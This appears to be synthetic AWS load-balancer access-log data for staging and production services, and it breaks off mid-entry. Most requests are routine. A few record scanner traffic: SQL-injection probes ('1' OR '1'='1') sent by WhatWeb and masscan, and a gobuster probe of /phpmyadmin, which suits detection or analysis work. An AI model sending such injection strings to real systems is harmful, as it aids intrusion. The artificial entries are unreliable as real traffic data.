"-" 5 2024-11-01T00:40:24.037780Z "forward" "-" "-" "157.228.221.107:443" "403" "-" "-" +http 2024-11-01T00:40:24.152295Z staging-alb 149.254.203.61:59491 33.214.50.103:443 0.110021 0.363594 0.133955 302 302 703 3900 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c108-5a37e880e9e2473d9183d11d" "staging-alb.example.com" "-" 8 2024-11-01T00:40:24.152295Z "forward" "-" "-" "33.214.50.103:443" "302" "-" "-" +https 2024-11-01T00:40:25.248704Z staging-alb 169.160.198.28:64631 49.128.36.76:8080 0.064615 0.484361 0.146296 200 200 451 13562 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c109-73c647a0e00c420fbb5f4a7c" "staging-alb.example.com" "-" 3 2024-11-01T00:40:25.248704Z "forward" "-" "-" "49.128.36.76:8080" "200" "-" "-" +https 2024-11-01T00:40:25.478677Z prod-api-alb 61.61.215.186:18294 10.0.223.75:443 0.047343 0.268990 0.050118 200 200 8 11286 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c109-c498ebe21832459b909e5e6b" "prod-api-alb.example.com" "-" 8 2024-11-01T00:40:25.478677Z "forward" "-" "-" "10.0.223.75:443" "200" "-" "-" +https 2024-11-01T00:40:25.811357Z staging-alb 215.72.193.121:60376 227.202.103.239:443 0.015017 0.731947 0.018044 200 200 192 1160 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c109-b70d69334d424e6eb3f2e29f" "staging-alb.example.com" "-" 1 2024-11-01T00:40:25.811357Z "forward" "-" "-" "227.202.103.239:443" "200" "-" "-" +http 2024-11-01T00:40:26.974717Z staging-alb 193.27.228.131:12586 160.104.211.81:443 0.040942 0.039660 0.136839 403 403 448 7573 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c10a-9823fa15728541599c4c8308" "-" "-" 4 2024-11-01T00:40:26.974717Z "forward" "-" "-" "160.104.211.81:443" "403" "-" "-" +https 2024-11-01T00:40:28.505591Z prod-api-alb 71.12.7.240:64811 10.0.214.1:443 0.016385 0.236214 0.004114 200 200 245 2899 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c10c-cb602694be6143e583119be7" "prod-api-alb.example.com" "-" 9 2024-11-01T00:40:28.505591Z "forward" "-" "-" "10.0.214.1:443" "200" "-" "-" +https 2024-11-01T00:40:28.776415Z prod-api-alb 222.103.54.38:57532 10.0.184.153:443 0.091990 0.257975 0.068521 200 200 886 8634 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c10c-b7f41410416e4b5da7d8d6f6" "prod-api-alb.example.com" "-" 8 2024-11-01T00:40:28.776415Z "forward" "-" "-" "10.0.184.153:443" "200" "-" "-" +http 2024-11-01T00:40:29.194145Z staging-alb 74.78.157.183:51928 5.163.51.103:8080 0.093367 0.008654 0.066450 200 200 349 8960 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c10d-3018fa04fd4d47159e3c1434" "staging-alb.example.com" "-" 1 2024-11-01T00:40:29.194145Z "forward" "-" "-" "5.163.51.103:8080" "200" "-" "-" +https 2024-11-01T00:40:31.144381Z prod-web-alb 40.50.147.163:49102 10.0.37.122:443 0.022768 0.087095 0.092284 200 200 331 714 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c10f-2b6aecfac6464004a44d798f" "prod-web-alb.example.com" "-" 0 2024-11-01T00:40:31.144381Z "forward" "-" "-" "10.0.37.122:443" "200" "-" "-" +https 2024-11-01T00:40:31.259144Z staging-alb 142.171.166.230:64640 162.88.134.83:8080 0.063863 0.609813 0.039164 302 302 171 4324 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c10f-1836446e5d224496927a7c87" "staging-alb.example.com" "-" 2 2024-11-01T00:40:31.259144Z "forward" "-" "-" "162.88.134.83:8080" "302" "-" "-" +http 2024-11-01T00:40:31.570069Z staging-alb 220.104.28.70:38504 68.228.182.55:80 0.075951 0.138465 0.019556 301 301 844 11999 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c10f-547a2e2b6d9b461f859ae0e2" "staging-alb.example.com" "-" 3 2024-11-01T00:40:31.570069Z "forward" "-" "-" "68.228.182.55:80" "301" "-" "-" +https 2024-11-01T00:40:32.622115Z prod-api-alb 129.15.217.49:64069 10.0.37.219:443 0.040487 0.295343 0.073164 200 200 30 7022 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c110-de10159af888403fa5b720e7" "prod-api-alb.example.com" "-" 1 2024-11-01T00:40:32.622115Z "forward" "-" "-" "10.0.37.219:443" "200" "-" "-" +https 2024-11-01T00:40:33.995923Z staging-alb 166.174.20.249:49883 223.38.183.14:8080 0.026891 0.250175 0.016313 301 301 227 11833 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c111-180d854c4e454e309fc428af" "staging-alb.example.com" "-" 5 2024-11-01T00:40:33.995923Z "forward" "-" "-" "223.38.183.14:8080" "301" "-" "-" +https 2024-11-01T00:40:35.715831Z prod-api-alb 182.125.68.70:31590 10.0.163.62:443 0.002956 0.004195 0.037084 200 200 235 13433 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c113-9565b12764864f7b8d2f6525" "prod-api-alb.example.com" "-" 3 2024-11-01T00:40:35.715831Z "forward" "-" "-" "10.0.163.62:443" "200" "-" "-" +https 2024-11-01T00:40:36.282480Z prod-api-alb 8.107.45.204:48694 10.0.84.151:443 0.016932 0.366228 0.055169 200 200 272 3233 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c114-813f028aa26c4bdb8579f4a0" "prod-api-alb.example.com" "-" 9 2024-11-01T00:40:36.282480Z "forward" "-" "-" "10.0.84.151:443" "200" "-" "-" +https 2024-11-01T00:40:38.239265Z prod-web-alb 184.197.67.11:13625 10.0.106.220:443 0.043510 0.049515 0.075919 301 301 872 1856 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c116-9ccf81a3a36e4edf996f01b7" "prod-web-alb.example.com" "-" 3 2024-11-01T00:40:38.239265Z "forward" "-" "-" "10.0.106.220:443" "301" "-" "-" +https 2024-11-01T00:40:39.902300Z staging-alb 217.15.76.245:39238 64.189.241.55:443 0.122028 0.733972 0.066508 404 404 798 9873 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c117-33326d9cffd04a63b1d259e9" "staging-alb.example.com" "-" 6 2024-11-01T00:40:39.902300Z "forward" "-" "-" "64.189.241.55:443" "404" "-" "-" +https 2024-11-01T00:40:40.510536Z prod-api-alb 152.65.205.146:38182 10.0.20.65:443 0.061150 0.304502 0.094567 200 200 391 1239 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c118-20f4fe37733f4b579ffd44cf" "prod-api-alb.example.com" "-" 5 2024-11-01T00:40:40.510536Z "forward" "-" "-" "10.0.20.65:443" "200" "-" "-" +https 2024-11-01T00:40:42.398400Z prod-api-alb 74.23.210.7:28320 10.0.125.220:443 0.034916 0.349243 0.074588 200 200 221 10491 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c11a-d227a7a71ca843d6b3b07a82" "prod-api-alb.example.com" "-" 1 2024-11-01T00:40:42.398400Z "forward" "-" "-" "10.0.125.220:443" "200" "-" "-" +https 2024-11-01T00:40:43.204474Z prod-api-alb 202.176.198.152:14837 10.0.211.206:443 0.060894 0.005275 0.087851 404 404 116 1043 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c11b-7a7477e3a9d34fce8e0a7486" "prod-api-alb.example.com" "-" 2 2024-11-01T00:40:43.204474Z "forward" "-" "-" "10.0.211.206:443" "404" "-" "-" +https 2024-11-01T00:40:43.839462Z prod-api-alb 191.101.141.248:50891 10.0.100.65:443 0.015239 0.462858 0.048113 200 200 98 12581 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c11b-71ca3f134d70478d81524139" "prod-api-alb.example.com" "-" 0 2024-11-01T00:40:43.839462Z "forward" "-" "-" "10.0.100.65:443" "200" "-" "-" +https 2024-11-01T00:40:45.601612Z prod-web-alb 182.75.59.104:52782 10.0.229.105:443 0.058885 0.126651 0.089572 301 301 324 13563 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c11d-af0e713ea97944ac85294bf7" "prod-web-alb.example.com" "-" 10 2024-11-01T00:40:45.601612Z "forward" "-" "-" "10.0.229.105:443" "301" "-" "-" +https 2024-11-01T00:40:46.912697Z prod-web-alb 186.30.214.134:62487 10.0.163.3:443 0.071644 0.396470 0.036799 301 301 159 2224 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c11e-fa5e04b1c9f24e66beef3a45" "prod-web-alb.example.com" "-" 10 2024-11-01T00:40:46.912697Z "forward" "-" "-" "10.0.163.3:443" "301" "-" "-" +https 2024-11-01T00:40:47.250923Z prod-api-alb 30.208.38.39:57453 10.0.231.198:443 0.090557 0.073601 0.067004 301 301 950 2104 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c11f-0d93aedc9f12417a8fb7e49d" "prod-api-alb.example.com" "-" 9 2024-11-01T00:40:47.250923Z "forward" "-" "-" "10.0.231.198:443" "301" "-" "-" +https 2024-11-01T00:40:47.838939Z prod-web-alb 243.14.124.38:13048 10.0.208.207:443 0.064954 0.454186 0.053525 404 404 546 4106 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c11f-a89fcef5fb2245d69029bd5f" "prod-web-alb.example.com" "-" 0 2024-11-01T00:40:47.838939Z "forward" "-" "-" "10.0.208.207:443" "404" "-" "-" +https 2024-11-01T00:40:48.343168Z prod-api-alb 179.16.95.179:35252 10.0.25.199:443 0.062283 0.138879 0.097215 200 200 581 9799 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c120-2da06610d9eb431ba3db5717" "prod-api-alb.example.com" "-" 0 2024-11-01T00:40:48.343168Z "forward" "-" "-" "10.0.25.199:443" "200" "-" "-" +http 2024-11-01T00:40:49.565054Z staging-alb 123.23.109.107:38212 72.116.4.162:8080 0.139958 0.483684 0.070663 200 200 178 2635 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c121-6d522fb789724d6daafacdd0" "staging-alb.example.com" "-" 3 2024-11-01T00:40:49.565054Z "forward" "-" "-" "72.116.4.162:8080" "200" "-" "-" +https 2024-11-01T00:40:50.939650Z staging-alb 56.42.174.151:49258 246.4.105.24:80 0.131938 0.235760 0.099169 200 200 937 9547 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c122-f92442d43c8d4f0db727e870" "staging-alb.example.com" "-" 0 2024-11-01T00:40:50.939650Z "forward" "-" "-" "246.4.105.24:80" "200" "-" "-" +http 2024-11-01T00:40:51.324131Z staging-alb 192.47.148.19:50752 81.120.194.102:8080 0.099740 0.355675 0.076464 200 200 4 2597 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c123-1b692c2a00a147e69de67d78" "staging-alb.example.com" "-" 9 2024-11-01T00:40:51.324131Z "forward" "-" "-" "81.120.194.102:8080" "200" "-" "-" +https 2024-11-01T00:40:52.454572Z prod-web-alb 39.85.232.167:40409 10.0.178.155:443 0.087948 0.188710 0.006780 200 200 993 11491 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c124-1a0720bf20d8448aa8493560" "prod-web-alb.example.com" "-" 0 2024-11-01T00:40:52.454572Z "forward" "-" "-" "10.0.178.155:443" "200" "-" "-" +http 2024-11-01T00:40:54.207213Z staging-alb 104.207.153.141:43815 16.26.167.78:443 0.075475 0.226499 0.129403 200 200 109 14927 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c126-bd446de0b3e94783b8c0e54e" "staging-alb.example.com" "-" 9 2024-11-01T00:40:54.207213Z "forward" "-" "-" "16.26.167.78:443" "200" "-" "-" +https 2024-11-01T00:40:55.244599Z prod-web-alb 111.120.177.215:27343 10.0.89.165:443 0.060674 0.147876 0.088481 200 200 451 12879 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c127-0b8ef4d10cc4442b9b95f3b9" "prod-web-alb.example.com" "-" 4 2024-11-01T00:40:55.244599Z "forward" "-" "-" "10.0.89.165:443" "200" "-" "-" +http 2024-11-01T00:40:55.817518Z staging-alb 103.239.167.35:41842 13.142.173.4:8080 0.053031 0.106370 0.062358 200 200 207 6003 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c127-9b0f9591c48a45f88f1a40c6" "staging-alb.example.com" "-" 9 2024-11-01T00:40:55.817518Z "forward" "-" "-" "13.142.173.4:8080" "200" "-" "-" +http 2024-11-01T00:40:56.902557Z staging-alb 219.254.64.184:31190 19.129.35.78:443 0.134859 0.710044 0.086048 200 200 538 8098 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c128-ed170b91cfae4d90b747cb40" "staging-alb.example.com" "-" 0 2024-11-01T00:40:56.902557Z "forward" "-" "-" "19.129.35.78:443" "200" "-" "-" +http 2024-11-01T00:40:58.729784Z staging-alb 156.130.246.153:49000 220.233.140.160:8080 0.109530 0.138287 0.104532 200 200 171 10018 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c12a-4206640f643c4c4a9edddb46" "staging-alb.example.com" "-" 0 2024-11-01T00:40:58.729784Z "forward" "-" "-" "220.233.140.160:8080" "200" "-" "-" +https 2024-11-01T00:41:00.262157Z prod-api-alb 14.133.118.28:31352 10.0.69.42:443 0.026058 0.371565 0.068118 301 301 118 6584 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c12c-e68618e895c24fddb4dada5d" "prod-api-alb.example.com" "-" 6 2024-11-01T00:41:00.262157Z "forward" "-" "-" "10.0.69.42:443" "301" "-" "-" +https 2024-11-01T00:41:01.517895Z prod-web-alb 104.24.76.129:12654 10.0.229.58:443 0.033894 0.030918 0.037199 200 200 586 10274 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c12d-e0323eeeb95e40609a60eaf6" "prod-web-alb.example.com" "-" 3 2024-11-01T00:41:01.517895Z "forward" "-" "-" "10.0.229.58:443" "200" "-" "-" +http 2024-11-01T00:41:01.831454Z staging-alb 140.17.62.127:36624 49.186.109.168:80 0.018744 0.515719 0.083202 301 301 45 5765 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c12d-9819474696ba45fa94be4a0b" "staging-alb.example.com" "-" 7 2024-11-01T00:41:01.831454Z "forward" "-" "-" "49.186.109.168:80" "301" "-" "-" +http 2024-11-01T00:41:03.347442Z staging-alb 221.43.2.137:51915 122.43.31.72:443 0.008028 0.132957 0.115542 200 200 202 9151 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c12f-4309caaf67324e61b4ea791b" "staging-alb.example.com" "-" 5 2024-11-01T00:41:03.347442Z "forward" "-" "-" "122.43.31.72:443" "200" "-" "-" +https 2024-11-01T00:41:05.108606Z staging-alb 185.181.76.214:56700 2.181.221.52:80 0.082068 0.086989 0.138294 500 500 843 13596 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c131-29fecf3034434e7baf957212" "-" "-" 5 2024-11-01T00:41:05.108606Z "forward" "-" "-" "2.181.221.52:80" "500" "-" "-" +https 2024-11-01T00:41:05.324546Z prod-api-alb 77.118.167.37:64677 10.0.226.216:443 0.016722 0.490747 0.031948 302 302 252 9484 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c131-24ae7f181bb04303806a7953" "prod-api-alb.example.com" "-" 9 2024-11-01T00:41:05.324546Z "forward" "-" "-" "10.0.226.216:443" "302" "-" "-" +https 2024-11-01T00:41:06.808905Z staging-alb 181.105.125.54:26231 65.24.97.207:8080 0.024964 0.281770 0.018164 302 302 750 4862 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c132-76aed5054f5d40ecadeae2c2" "staging-alb.example.com" "-" 0 2024-11-01T00:41:06.808905Z "forward" "-" "-" "65.24.97.207:8080" "302" "-" "-" +https 2024-11-01T00:41:08.489798Z prod-web-alb 193.27.228.48:11326 10.0.253.117:443 0.010939 0.148852 0.055025 401 401 295 2379 "GET /phpmyadmin HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c134-06bdd13527f94df5b0c40c7f" "-" "-" 8 2024-11-01T00:41:08.489798Z "forward" "-" "-" "10.0.253.117:443" "401" "-" "-" +https 2024-11-01T00:41:09.691889Z staging-alb 68.90.184.15:30865 181.171.92.63:443 0.078739 0.348368 0.104561 200 200 809 8559 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c135-767d13eea5cf4028a5ca3081" "staging-alb.example.com" "-" 3 2024-11-01T00:41:09.691889Z "forward" "-" "-" "181.171.92.63:443" "200" "-" "-" +https 2024-11-01T00:41:10.135234Z prod-web-alb 207.184.241.251:51379 10.0.252.78:443 0.058496 0.272349 0.093212 200 200 937 7472 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c136-3e14b6f6015b43d094d60234" "prod-web-alb.example.com" "-" 2 2024-11-01T00:41:10.135234Z "forward" "-" "-" "10.0.252.78:443" "200" "-" "-" +https 2024-11-01T00:41:10.740673Z prod-web-alb 193.150.198.159:56199 10.0.155.15:443 0.067053 0.431505 0.063221 302 302 707 4401 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c136-abecad57487442cc97a76980" "prod-web-alb.example.com" "-" 2 2024-11-01T00:41:10.740673Z "forward" "-" "-" "10.0.155.15:443" "302" "-" "-" +http 2024-11-01T00:41:11.111650Z staging-alb 93.127.233.244:36622 36.122.120.129:8080 0.142352 0.202678 0.075699 200 200 50 3298 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c137-82b77647cdec4ffaa65437fc" "staging-alb.example.com" "-" 4 2024-11-01T00:41:11.111650Z "forward" "-" "-" "36.122.120.129:8080" "200" "-" "-" +https 2024-11-01T00:41:12.387813Z prod-web-alb 